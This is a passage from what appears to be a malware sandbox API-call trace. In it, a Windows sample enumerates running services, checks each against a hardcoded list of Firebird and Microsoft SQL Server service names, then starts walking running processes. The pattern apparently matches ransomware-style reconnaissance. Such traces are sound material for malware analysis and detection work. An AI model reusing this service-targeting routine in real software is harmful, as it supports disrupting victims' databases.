(dwMilliseconds=0x1f4) [0305.615] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0305.615] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0305.616] GetLastError () returned 0xea [0305.616] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0305.616] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0305.617] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0305.617] lstrlenW (lpString="Appinfo") returned 7 [0305.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0305.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0305.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0305.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0305.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0305.617] lstrlenW (lpString="AppXSvc") returned 7 [0305.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0305.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0305.617] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0305.617] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0305.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0305.617] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0305.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0305.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0305.617] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0305.617] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0305.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0305.617] lstrlenW (lpString="Audiosrv") returned 8 [0305.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0305.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0305.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0305.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0305.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0305.618] lstrlenW (lpString="BFE") returned 3 [0305.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0305.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0305.618] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0305.618] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0305.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0305.618] lstrlenW (lpString="BITS") returned 4 [0305.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0305.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0305.618] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0305.618] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0305.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0305.618] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0305.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0305.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0305.618] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0305.618] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0305.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0305.618] lstrlenW (lpString="CDPSvc") returned 6 [0305.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0305.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0305.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0305.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0305.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0305.619] lstrlenW (lpString="ClickToRunSvc") returned 13 [0305.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0305.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0305.619] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0305.619] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0305.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0305.619] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0305.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0305.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0305.619] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0305.619] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0305.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0305.619] lstrlenW (lpString="CryptSvc") returned 8 [0305.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0305.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0305.619] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0305.619] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0305.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0305.619] lstrlenW (lpString="DcomLaunch") returned 10 [0305.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0305.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0305.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0305.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0305.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0305.619] lstrlenW (lpString="DeviceAssociationService") returned 24 [0305.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0305.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0305.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0305.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0305.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0305.620] lstrlenW (lpString="Dhcp") returned 4 [0305.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0305.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0305.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0305.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0305.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0305.620] lstrlenW (lpString="Dnscache") returned 8 [0305.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0305.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0305.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0305.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0305.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0305.620] lstrlenW (lpString="DoSvc") returned 5 [0305.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0305.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0305.620] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0305.620] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0305.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0305.620] lstrlenW (lpString="DPS") returned 3 [0305.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0305.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0305.620] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0305.620] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0305.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0305.620] lstrlenW (lpString="DusmSvc") returned 7 [0305.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0305.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0305.620] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0305.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0305.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0305.621] lstrlenW (lpString="EventLog") returned 8 [0305.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0305.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0305.621] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0305.621] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0305.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0305.621] lstrlenW (lpString="EventSystem") returned 11 [0305.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0305.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0305.621] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0305.621] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0305.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0305.621] lstrlenW (lpString="FontCache") returned 9 [0305.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0305.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0305.621] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0305.621] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0305.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0305.621] lstrlenW (lpString="gpsvc") returned 5 [0305.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0305.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0305.621] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0305.621] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0305.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0305.621] lstrlenW (lpString="iphlpsvc") returned 8 [0305.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0305.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0305.622] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0305.622] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0305.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0305.622] lstrlenW (lpString="KeyIso") returned 6 [0305.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0305.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0305.622] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0305.622] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0305.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0305.622] lstrlenW (lpString="LanmanServer") returned 12 [0305.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0305.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0305.622] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0305.622] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0305.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0305.622] lstrlenW (lpString="LanmanWorkstation") returned 17 [0305.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0305.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0305.622] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0305.622] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0305.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0305.622] lstrlenW (lpString="lfsvc") returned 5 [0305.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0305.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0305.622] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0305.622] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0305.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0305.622] lstrlenW (lpString="lmhosts") returned 7 [0305.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0305.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0305.622] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0305.622] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0305.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0305.623] lstrlenW (lpString="LSM") returned 3 [0305.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0305.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0305.623] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0305.623] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0305.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0305.623] lstrlenW (lpString="MapsBroker") returned 10 [0305.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0305.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0305.623] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0305.623] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0305.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0305.623] lstrlenW (lpString="MpsSvc") returned 6 [0305.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0305.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0305.623] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0305.623] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0305.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0305.623] lstrlenW (lpString="NcbService") returned 10 [0305.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0305.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0305.623] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0305.623] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0305.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0305.623] lstrlenW (lpString="netprofm") returned 8 [0305.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0305.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0305.623] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0305.623] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0305.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0305.623] lstrlenW (lpString="NgcSvc") returned 6 [0305.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0305.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0305.624] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0305.624] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0305.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0305.624] lstrlenW (lpString="NlaSvc") returned 6 [0305.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0305.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0305.624] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0305.624] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0305.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0305.624] lstrlenW (lpString="nsi") returned 3 [0305.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0305.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0305.624] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0305.624] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0305.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0305.624] lstrlenW (lpString="PcaSvc") returned 6 [0305.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0305.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0305.624] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0305.624] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0305.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0305.624] lstrlenW (lpString="PlugPlay") returned 8 [0305.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0305.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0305.624] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0305.624] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0305.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0305.624] lstrlenW (lpString="Power") returned 5 [0305.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0305.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0305.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0305.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0305.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0305.625] lstrlenW (lpString="ProfSvc") returned 7 [0305.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0305.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0305.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0305.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0305.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0305.625] lstrlenW (lpString="RpcEptMapper") returned 12 [0305.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0305.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0305.625] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0305.625] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0305.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0305.625] lstrlenW (lpString="RpcSs") returned 5 [0305.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0305.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0305.625] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0305.625] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0305.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0305.625] lstrlenW (lpString="SamSs") returned 5 [0305.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0305.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0305.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0305.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0305.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0305.625] lstrlenW (lpString="Schedule") returned 8 [0305.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0305.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0305.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0305.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0305.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0305.625] lstrlenW (lpString="SecurityHealthService") returned 21 [0305.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0305.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0305.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0305.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0305.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0305.626] lstrlenW (lpString="SENS") returned 4 [0305.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0305.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0305.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0305.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0305.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0305.626] lstrlenW (lpString="ShellHWDetection") returned 16 [0305.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0305.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0305.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0305.626] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0305.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0305.626] lstrlenW (lpString="Spooler") returned 7 [0305.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0305.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0305.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0305.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0305.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0305.626] lstrlenW (lpString="SSDPSRV") returned 7 [0305.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0305.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0305.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0305.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0305.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0305.626] lstrlenW (lpString="StateRepository") returned 15 [0305.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0305.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0305.627] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0305.627] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0305.627] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0305.627] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0305.630] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.630] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0305.631] lstrlenW (lpString="System") returned 6 [0305.631] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0305.632] lstrlenW (lpString="smss.exe") returned 8 [0305.632] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0305.632] lstrlenW (lpString="csrss.exe") returned 9 [0305.632] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, 